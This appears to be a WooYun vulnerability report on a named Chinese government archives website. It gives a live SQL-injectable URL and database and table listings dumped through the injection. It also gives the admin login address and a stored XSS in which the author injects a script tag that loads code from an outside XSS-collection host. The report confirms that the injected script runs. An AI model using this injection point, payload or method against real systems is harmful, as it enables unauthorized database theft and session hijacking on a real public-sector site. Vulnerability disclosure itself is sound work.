WooYun.org

http://da.linyi.gov.cn/view.asp?id=324
存在SQL
跑出来的裤子多达122个
Database: pubs
[14 tables]
+--------------------------------+
| authors |
| discounts |
| employee |
| jobs |
| pub_info |
| publishers |
| roysched |
| sales |
| stores |
| sysconstraints |
| syssegments |
| titleauthor |
| titles |
| titleview |
+--------------------------------+
Database: tempdb
[2 tables]
+--------------------------------+
| sysconstraints |
| syssegments |
+--------------------------------+
Database: Northwind
[31 tables]
+--------------------------------+
| Categories |
| CustomerCustomerDemo |
| CustomerDemographics |
| Customers |
| EmployeeTerritories |
| Employees |
| Invoices |
| Orders |
| Products |
| Region |
| Shippers |
| Suppliers |
| Territories |
| Alphabetical list of products |
| Category Sales for 1997 |
| Current Product List |
| Customer and Suppliers by City |
| Order Details Extended |
| Order Details |
| Order Subtotals |
| Orders Qry |
| Product Sales for 1997 |
| Products Above Average Price |
| Products by Category |
| Quarterly Orders |
| Sales Totals by Amount |
| Sales by Category |
| Summary of Sales by Quarter |
| Summary of Sales by Year |
| sysconstraints |
| syssegments |
+--------------------------------+
Database: msdb
[78 tables]
+--------------------------------+
| RTblClassDefs |
| RTblClassExtension |
| RTblDBMProps |
| RTblDBXProps |
| RTblDTMProps |
| RTblDTSProps |
| RTblDatabaseVersion |
| RTblEQMProps |
| RTblEnumerationDef |
| RTblEnumerationValueDef |
| RTblGENProps |
| RTblIfaceDefs |
| RTblIfaceHier |
| RTblIfaceMem |
| RTblMDSProps |
| RTblNamedObj |
| RTblOLPProps |
| RTblParameterDef |
| RTblPropDefs |
| RTblProps |
| RTblRelColDefs |
| RTblRelshipDefs |
| RTblRelshipProps |
| RTblRelships |
| RTblSIMProps |
| RTblScriptDefs |
| RTblSites |
| RTblSumInfo |
| RTblTFMProps |
| RTblTypeInfo |
| RTblTypeLibs |
| RTblUMLProps |
| RTblUMXProps |
| RTblVersionAdminInfo |
| RTblVersions |
| RTblWorkspaceItems |
| backupfile |
| backupmediafamily |
| backupmediaset |
| backupset |
| log_shipping_primaries |
| log_shipping_secondaries |
| logmarkhistory |
| mswebtasks |
| restorefile |
| restorefilegroup |
| restorehistory |
| sqlagent_info |
| sysalerts |
| syscachedcredentials |
| syscategories |
| sysconstraints |
| sysdbmaintplan_databases |
| sysdbmaintplan_history |
| sysdbmaintplan_jobs |
| sysdbmaintplans |
| sysdownloadlist |
| sysdtscategories |
| sysdtspackagelog |
| sysdtspackages |
| sysdtssteplog |
| sysdtstasklog |
| sysjobhistory |
| sysjobs |
| sysjobs_view |
| sysjobschedules |
| sysjobservers |
| sysjobsteps |
| sysnotifications |
| sysoperators |
| syssegments |
| systargetservergroupmembers |
| systargetservergroups |
| systargetservers |
| systargetservers_view |
| systaskids |
| systasks |
| systasks_view |
+--------------------------------+
Database: dangan
[26 tables]
+--------------------------------+
| da.D99_CMD |
| da.D99_REG |
| da.D99_Tmp |
| da.comd_list |
| da.foofoofoo |
| da.kill_kk |
| admin |
| da_global |
| da_gzdt |
| da_history |
| da_jijian |
| da_keji |
| da_kuaiji |
| da_lishi |
| da_photos |
| da_shengxiang |
| da_shiwu |
| da_wenshu |
| da_xxwj |
| dtproperties |
| jxzy |
| news |
| newscata |
| photocata |
| sysconstraints |
| syssegments |
+--------------------------------+
后台地址:http://da.linyi.gov.cn/newadmin/login.asp
登录任意用户名 名字都会镶嵌在源代码上
如登录wooyun

既然能镶嵌到html代码里
那么如果我们用<script src=http://www.xxs.la/TWWsZt></script>
登录是不是也能执行
尝试着看看

真的插入了。。。我也是醉了